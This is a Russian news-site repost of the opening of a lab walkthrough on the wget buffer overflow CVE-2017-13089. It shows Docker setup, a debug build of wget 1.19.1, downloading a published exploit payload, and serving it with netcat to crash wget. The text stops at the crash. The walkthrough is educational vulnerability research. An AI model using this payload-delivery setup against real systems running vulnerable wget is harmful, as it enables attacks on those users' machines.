Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux - «Новости»
Anthropic представила Claude Opus 4.6 с поддержкой Agent Teams и контекстом на 1 млн токенов - «Новости мира Интернет»
Anthropic представила Claude Opus 4.6 с поддержкой Agent Teams и контекстом на 1 млн токенов - «Новости мира Интернет»
Apple планируют обновить ряд устройств в первой половине 2026 года - «Новости мира Интернет»
Apple планируют обновить ряд устройств в первой половине 2026 года - «Новости мира Интернет»
Обновление Telegram: изменения в дизайне интерфейса, изготовление подарков и другое - «Новости мира Интернет»
Обновление Telegram: изменения в дизайне интерфейса, изготовление подарков и другое - «Новости мира Интернет»
Xiaomi разработали бюджетный аналог AirTag от Apple - «Новости мира Интернет»
Xiaomi разработали бюджетный аналог AirTag от Apple - «Новости мира Интернет»
Рейтинг TIOBE за февраль 2026: Python лидирует, но теряет долю, а нишевые языки идут в рост - «Новости мира Интернет»
Рейтинг TIOBE за февраль 2026: Python лидирует, но теряет долю, а нишевые языки идут в рост - «Новости мира Интернет»
В предстоящем обновлении Windows готовят новые эмодзи, настройки камеры и другое - «Новости мира Интернет»
В предстоящем обновлении Windows готовят новые эмодзи, настройки камеры и другое - «Новости мира Интернет»
Toyota представила открытый 3D-движок Fluorite с интеграцией Flutter для автомобильных интерфейсов - «Новости мира Интернет»
Toyota представила открытый 3D-движок Fluorite с интеграцией Flutter для автомобильных интерфейсов - «Новости мира Интернет»
​​Alibaba вывела на рынок профессиональную ИИ-модель для генерации изображений Qwen-Image-2.0 - «Новости мира Интернет»
​​Alibaba вывела на рынок профессиональную ИИ-модель для генерации изображений Qwen-Image-2.0 - «Новости мира Интернет»
Microsoft обновила Secure Boot в Windows 11 - «Новости мира Интернет»
Microsoft обновила Secure Boot в Windows 11 - «Новости мира Интернет»
«Наслаждайтесь пиром, спите с миром»: авторы Black Myth: Wukong порадовали фанатов специальным трейлером нового боевика Black Myth: Zhong Kui - «Новости сети»
«Наслаждайтесь пиром, спите с миром»: авторы Black Myth: Wukong порадовали фанатов специальным трейлером нового боевика Black Myth: Zhong Kui - «Новости сети»
Новости мира Интернет » Новости » Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux - «Новости»

Содержание статьи

  • Анализируем уязвимость
  • Заключение
Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget. С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. Мы разберем, как работает баг wget, связанный с переполнением буфера. Его эксплуатация может привести к выполнению произвольных команд на целевой системе.
Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux - «Новости»
INFO

Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.



Стенд


Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить


docker build -t cve201713089 .
[/code]

Если ничего качать не хочется, то достаточно команды


docker pull robertcolejensen/cve201713089
[/code]

Затем запускаем контейнер.


docker run  --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash
[/code]

Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки.


$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar xvzf wget-1.19.1.tar.gz
$ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd -
[/code]

Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов.


$ gdb wget
[/code]

gdb подгрузил отладочные символы

Теперь с этим можно работать. Переходим к следующему этапу.


Анализируем уязвимость


Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. ?


$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload
[/code]

Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.


$ nc -lp 1337 < payload &
$ wget --debug localhost:1337
[/code]

После коннекта и получения ответа утилита крашится.


Источник новостиgoogle.com

Содержание статьи Анализируем уязвимость Заключение Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget. С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. Мы разберем, как работает баг wget, связанный с переполнением буфера. Его эксплуатация может привести к выполнению произвольных команд на целевой системе. INFO Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1. Стенд Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить Если ничего качать не хочется, то достаточно команды Затем запускаем контейнер. Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки. Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов. gdb подгрузил отладочные символы Теперь с этим можно работать. Переходим к следующему этапу. Анализируем уязвимость Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. ? Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget. После коннекта и получения ответа утилита крашится. Источник новости - google.com

Цитирование статьи, картинки - фото скриншот - Rambler News Service.
Иллюстрация к статье - Яндекс. Картинки.
Есть вопросы. Напишите нам.
Общие правила  поведения на сайте.

запостил(а)
Parker
Вернуться назад
0

Смотрите также

А что там на главной? )))



Комментарии )))